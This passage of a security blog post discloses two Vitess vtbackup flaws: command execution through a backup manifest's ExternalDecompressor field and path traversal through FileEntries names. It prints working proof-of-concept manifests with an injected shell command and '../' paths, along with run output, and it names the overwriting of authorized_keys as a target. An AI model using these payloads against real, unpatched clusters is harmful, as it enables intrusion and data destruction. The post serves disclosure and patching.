  </span><span class="nl">"FileEntries"</span><span class="p">:</span><span class="w"> </span><span class="p">[{</span><span class="nl">"Base"</span><span class="p">:</span><span class="s2">"Data"</span><span class="p">,</span><span class="nl">"Name"</span><span class="p">:</span><span class="s2">"backup.sql.gz.external"</span><span class="p">,</span><span class="nl">"Hash"</span><span class="p">:</span><span class="s2">"..."</span><span class="p">}],</span><span class="w">
  </span><span class="nl">"Keyspace"</span><span class="p">:</span><span class="w"> </span><span class="s2">"test"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"Shard"</span><span class="p">:</span><span class="w"> </span><span class="s2">"0"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"SkipCompress"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Two fields end up being the bugs:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">ExternalDecompressor</code>, a shell command.</li>
  <li><code class="language-plaintext highlighter-rouge">FileEntries[].Name</code>, a relative path.</li>
</ul>

<p>Both get read from the manifest and used directly. If you can write to backup
storage, you can edit them.</p>

<p>The thing here is that backup storage looks like passive data. The <code class="language-plaintext highlighter-rouge">MANIFEST</code>
is not. It is restore time control plane input - it picks commands, paths,
compression behaviour, and file layout, its a config file. If the backup store
is writable by anything other than fully trusted restore operators, the
manifest is an execution surface.</p>

<hr />

<h2 id="cve-2026-27965-rce-via-externaldecompressor">CVE-2026-27965: RCE via ExternalDecompressor</h2>

<p>From <code class="language-plaintext highlighter-rouge">go/vt/mysqlctl/compression.go</code>:</p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">cmdArgs</span> <span class="o">:=</span> <span class="p">[]</span><span class="kt">string</span><span class="p">{</span><span class="s">"-c"</span><span class="p">,</span> <span class="n">cmdStr</span><span class="p">}</span>
<span class="n">cmd</span> <span class="o">:=</span> <span class="n">exec</span><span class="o">.</span><span class="n">CommandContext</span><span class="p">(</span><span class="n">ctx</span><span class="p">,</span> <span class="s">"/bin/sh"</span><span class="p">,</span> <span class="n">cmdArgs</span><span class="o">...</span><span class="p">)</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">cmdStr</code> is the manifest field, verbatim. No allowlist, no validation.</p>

<p>PoC manifest:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"BackupMethod"</span><span class="p">:</span><span class="w"> </span><span class="s2">"builtin"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"CompressionEngine"</span><span class="p">:</span><span class="w"> </span><span class="s2">"external"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"ExternalDecompressor"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/bin/sh -c 'id &gt; /tmp/PWNED; echo VITESS_RCE &gt;&gt; /tmp/PWNED'"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"FileEntries"</span><span class="p">:</span><span class="w"> </span><span class="p">[{</span><span class="nl">"Base"</span><span class="p">:</span><span class="s2">"Data"</span><span class="p">,</span><span class="nl">"Name"</span><span class="p">:</span><span class="s2">"backup.sql.gz.external"</span><span class="p">,</span><span class="nl">"Hash"</span><span class="p">:</span><span class="s2">""</span><span class="p">}],</span><span class="w">
  </span><span class="nl">"Keyspace"</span><span class="p">:</span><span class="w"> </span><span class="s2">"test"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"Shard"</span><span class="p">:</span><span class="w"> </span><span class="s2">"0"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"SkipCompress"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Run <code class="language-plaintext highlighter-rouge">vtbackup</code> against it:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vitess@d438d03b8595:/<span class="nv">$ </span>/vt/bin/vtbackup <span class="se">\</span>
  <span class="nt">--backup-storage-implementation</span><span class="o">=</span>file <span class="se">\</span>
  <span class="nt">--file-backup-storage-root</span><span class="o">=</span>/vt/backups <span class="se">\</span>
  <span class="nt">--init-keyspace</span><span class="o">=</span><span class="nb">test</span> <span class="nt">--init-shard</span><span class="o">=</span>0 <span class="se">\</span>
  <span class="nt">--topo-implementation</span><span class="o">=</span>etcd2 <span class="se">\</span>
  <span class="nt">--topo-global-server-address</span><span class="o">=</span>etcd:2379 <span class="se">\</span>
  <span class="nt">--topo-global-root</span><span class="o">=</span>/vitess/global

... <span class="s2">"msg"</span>:<span class="s2">"Decompressing using external command: </span><span class="se">\"</span><span class="s2">/bin/sh -c 'id &gt; /tmp/PWNED; echo VITESS_RCE &gt;&gt; /tmp/PWNED'</span><span class="se">\"</span><span class="s2">"</span>

vitess@d438d03b8595:/<span class="nv">$ </span><span class="nb">cat</span> /tmp/PWNED
<span class="nv">uid</span><span class="o">=</span>999<span class="o">(</span>vitess<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>999<span class="o">(</span>vitess<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>999<span class="o">(</span>vitess<span class="o">)</span>
VITESS_RCE
</code></pre></div></div>

<p>Code is executed as the <code class="language-plaintext highlighter-rouge">vitess</code> user, inside the tablet/container context.
Depending on the deployment that means access to database files, MySQL
credentials, topology-server connectivity, and the network the tablet sits on.
The backup routine has access to SO much. Multiple tablets restoring from the
same backup store means one poisoned manifest fans out across the cluster as
new replicas come up.</p>

<p>The restore itself fails on a hash mismatch, but the decompressor runs <em>before</em>
the hash check. And the engine retries failed file restores, so the command
runs twice per attempt.</p>

<p>The thing worth flagging: I had no <code class="language-plaintext highlighter-rouge">--external-decompressor</code> flag set. No
<code class="language-plaintext highlighter-rouge">--compression-engine-name=external</code>, no compression flags at all. Default
compression engine is <code class="language-plaintext highlighter-rouge">pargzip</code>. The restore engine consults the flag first;
if it is empty it falls back to whatever is in the manifest. The manifest
sets <code class="language-plaintext highlighter-rouge">CompressionEngine: "external"</code> and that is enough.</p>

<p>Default Vitess is exposed. The operator does not have to know external
compressors exist — the manifest names one and the code follows.</p>

<p>The fix in <a href="https://github.com/vitessio/vitess/pull/19460">PR #19460</a> makes the
manifest fallback opt-in via <code class="language-plaintext highlighter-rouge">--external-decompressor-allow-manifest</code>. Default
is to ignore the field.</p>

<hr />

<h2 id="cve-2026-27969-path-traversal-via-fileentriesname">CVE-2026-27969: Path traversal via FileEntries[].Name</h2>

<p>The restore engine joins <code class="language-plaintext highlighter-rouge">FileEntries[i].Name</code> onto the destination data dir
with no normalisation.</p>

<p>PoC manifest:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"BackupMethod"</span><span class="p">:</span><span class="w"> </span><span class="s2">"builtin"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"CompressionEngine"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
  </span><span class="nl">"SkipCompress"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
  </span><span class="nl">"FileEntries"</span><span class="p">:</span><span class="w"> </span><span class="p">[{</span><span class="w">
      </span><span class="nl">"Base"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Data"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"../../../../tmp/OhNo.txt"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Hash"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="w">
  </span><span class="p">}],</span><span class="w">
  </span><span class="nl">"Keyspace"</span><span class="p">:</span><span class="w"> </span><span class="s2">"test"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"Shard"</span><span class="p">:</span><span class="w"> </span><span class="s2">"0"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Same <code class="language-plaintext highlighter-rouge">vtbackup</code> invocation:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vitess@6d4bc6844b03:/<span class="nv">$ </span><span class="nb">ls</span> /tmp/
OhNo.txt
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">/tmp/OhNo.txt</code> exists, outside the data directory, written wherever the
<code class="language-plaintext highlighter-rouge">vitess</code> user can write. Empty contents — I did not bother computing the right
hash for the source, but in theory I could have and then there might be no
error. I guess I was just being lazy, and excited with what I had already found
:P</p>

<p><code class="language-plaintext highlighter-rouge">go/os2/file.go</code>:</p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="n">Create</span><span class="p">(</span><span class="n">name</span> <span class="kt">string</span><span class="p">)</span> <span class="p">(</span><span class="o">*</span><span class="n">os</span><span class="o">.</span><span class="n">File</span><span class="p">,</span> <span class="kt">error</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">return</span> <span class="n">OpenFile</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">os</span><span class="o">.</span><span class="n">O_RDWR</span><span class="o">|</span><span class="n">os</span><span class="o">.</span><span class="n">O_CREATE</span><span class="o">|</span><span class="n">os</span><span class="o">.</span><span class="n">O_TRUNC</span><span class="p">,</span> <span class="n">PermFile</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">O_TRUNC</code> happens before the hash check. So even with a wrong hash, the target
file gets created and truncated to zero bytes. Point a malicious manifest at
every config or auth file you can guess and the box is bricked. With the right
hash you get full write — <code class="language-plaintext highlighter-rouge">~/.ssh/authorized_keys</code> for the <code class="language-plaintext highlighter-rouge">vitess</code> user being
a killer target, or any other fun files.</p>

<p>No flag based workaround for this one. The fix in
<a href="https://github.com/vitessio/vitess/pull/19470">PR #19470</a> clamps the
destination to the data directory. Upgrade.</p>

<hr />

<h2 id="both-bugs-one-file">Both bugs, one file</h2>

<p>Both bugs sit at the same boundary: <code class="language-plaintext highlighter-rouge">MANIFEST</code> fields treated as trusted at
restore time. Once a string from that file reaches <code class="language-plaintext highlighter-rouge">exec.Command</code> or a path
join, the rest is mechanics.</p>

<hr />

<h2 id="timeline">Timeline</h2>

<ul>
  <li>20 Feb 2026: Reported RCE to <code class="language-plaintext highlighter-rouge">cncf-vitess-maintainers@lists.cncf.io</code>.</li>
  <li>23 Feb 2026: Triage started.</li>
  <li>24 Feb 2026: Fix for RCE drafted. Reported path traversal</li>
  <li>25 Feb 2026: Public bug <a href="https://github.com/vitessio/vitess/issues/19459">#19459</a>
opened. RCE advisory drafted.</li>
  <li>26 Feb 2026: Path traversal advisory drafted. CVSS and CWE finalised.</li>
  <li>27 Feb 2026: Both advisories published. v22.0.4 and v23.0.3 released.</li>
</ul>

<p>7 days from initial email to two published advisories with backports to v22 and
v23. Fast turnaround for a CNCF project — the Vitess maintainers deserve
credit for it.</p>

<hr />

<h2 id="appendix-a-resources">Appendix A: Resources</h2>

<ul>
  <li><a href="https://github.com/vitessio/vitess/security/advisories/GHSA-8g8j-r87h-p36x">GHSA-8g8j-r87h-p36x: Vitess remote code execution via untrusted ExternalDecompressor</a></li>
  <li><a href="https://github.com/vitessio/vitess/security/advisories/GHSA-r492-hjgh-c9gw">GHSA-r492-hjgh-c9gw: Vitess arbitrary file write via path traversal in backup MANIFEST</a></li>
  <li><a href="https://github.com/vitessio/vitess/pull/19460">PR #19460: Do not trust manifest-supplied external decompressor by default</a></li>
  <li><a href="https://github.com/vitessio/vitess/pull/19470">PR #19470: Clamp restore file paths to the destination data directory</a></li>
  <li><a href="https://vitess.io/docs/22.0/user-guides/operating-vitess/backup-and-restore/overview/">Vitess backup and restore documentation</a></li>
</ul>

<hr />]]></content><author><name>Alex Manson</name></author><category term="Security" /><summary type="html"><![CDATA[CVE-2026-27965 and CVE-2026-27969 - Vitess vtbackup trusted restore-time fields from the backup MANIFEST, allowing RCE via ExternalDecompressor and arbitrary path writes via FileEntries[].Name.]]></summary></entry></feed>